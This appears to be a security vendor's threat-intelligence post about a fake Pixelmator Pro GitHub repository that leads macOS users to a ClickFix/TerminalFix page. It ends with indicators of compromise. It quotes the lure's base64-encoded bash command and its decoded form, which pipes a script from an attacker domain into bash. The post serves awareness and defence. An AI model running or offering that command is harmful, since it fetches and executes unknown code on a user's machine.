ClickFix / TerminalFix Campaign Targeting MacOS Users
Threat Actors are Using Pixelmator Pro as a lure for MacOS targets
In May 2026, SYON was browsing GitHub and identified a suspicious GitHub repository that was purporting to be Pixelmator Pro and providing a redirect link to the "AppStore". We immediately decided that we should take a look and see what this silly threat actor was trying to do. The final result was inconclusive but we got to taste an "in the wild" threat and see what their Tactics, Techniques, and Procedures looked like.
This post goes into our discovery, what we found and provides some basic IOCs for defenders to block unintended access to such domains. The main purpose of the post is to raise awareness that in May 2026, threat actors are targeting MacOS users by coercing them into copy-pasting terminal commands in a "TerminalFix" attack.
The Discovery and The GitHub Repository
The following GitHub repostiory was purporting to be Pixelmator Pro and providing a link to download the tool: https://github[.]com/pixelmator-devz/pixelmator-mac. See screenshot below:
Upon navigating to the URL, it would display fancy animations and eventually redirect the user. The fancy animated page was situated at https://pixelmator-devz[.]github.io/pixelmator-mac/. See below screenshot:
The page ultimately redirects the user to https://macelites[.]com which hosts a ClickFix/TerminalFix attack that coerces the user to copy a Bash command and paste it into a Terminal. See screenshot below:
The contents of the Terminal command was:
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly91bmxvY2tpbmdsaWZlLmRpZ2l0YWwvc2NyaXB0LnNoJyB8IGJhc2g=" | base64 -d)
By Base64 decoding the string we can see that it would essentially perform the following curl request:
curl -s 'https://unlockinglife.digital/script.sh' | bash
The https://unlockinglife[.]digital script was not accessible at the time of review - this limited our ability to explore further. The following page was shown:
The error indicates two situations that could be possible:
- The threat actor provides this response when curl is not used, or it is not accessed from a targeted location or victim environment. In Red Teaming, we often constrain the target to certain IP address ranges or countries. This could be the case, but we evaluate this likelihood to be low as we tried to curl the URL from multiple network locations and the same error page had been displayed.
- The threat actor took down the website and the script is no longer accessible. This situation is more likely.
GitHub Contributors
The main repository was hosted under the GitHub username of pixelmator-devz, but the code was contributed by a user called sanderthrone. See screenshot below:
SYON did not take this information further at the time of review.
From a TTP perspective, the threat actor deployed some basic JavaScript obfuscation.
Defenders - What to do next
Conclusion
At the time of identification, the script file was not accessible. Therefore, there was limited ability for us to further investigate. Defenders can however, utilize the IOCs published with this post to block or monitor for access to the domains, or perform further threat hunting or pivoting against the IOCs to further their investigation. SYON published this post mostly for awareness purposes so that the community can observe that threat actors as recent as May 2026 are using ClickFix / TerminalFix attacks to target MacOS users.
Indicators of Compromise
https://unlockinglife[.]digital/script.sh unlockinglife[.]digital https://pixelmator-devz[.]github.io/pixelmator-mac/ macelites[.]com GitHub ID: pixelmator-devz GitHub ID: sanderthrone